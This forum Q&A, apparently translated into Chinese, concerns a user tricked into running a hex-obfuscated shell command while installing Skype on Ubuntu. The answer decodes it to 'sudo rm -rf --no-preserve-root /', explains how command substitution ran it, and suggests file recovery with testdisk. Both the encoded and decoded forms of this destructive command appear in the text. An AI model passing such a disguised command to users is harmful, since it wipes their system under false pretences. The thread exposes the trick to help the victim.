我被论坛上的某个人“恶作剧”了。我在 Ubuntu 上安装 Skype 时遇到了困难,他说我需要运行此代码:
$(echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p -) &>2
我运行了它,我的笔记本电脑死机了,我再也无法启动它了。请帮忙!这是我唯一的笔记本电脑,我迫切需要它来上学。
答案1
运行echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p -
输出如下:
sudo rm -rf --no-preserve-root /
运行$(echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p -) &>2
命令替换$([...])
将被命令的输出所替换echo [...] | xxd [...]
(将混淆的/十六进制编码的字符串转换回纯文本),并且替换与命令的其余部分一起执行。
因此实际运行的命令是sudo rm -rf --no-preserve-root / &>2
。
非常抱歉,您的安装已消失。
如果您需要恢复某些文件,我建议您从 Live DVD 启动 Ubuntu 并使用它testdisk
来恢复它们(由于机器无法启动,您应该能够恢复所有内容,因为没有任何内容被覆盖)。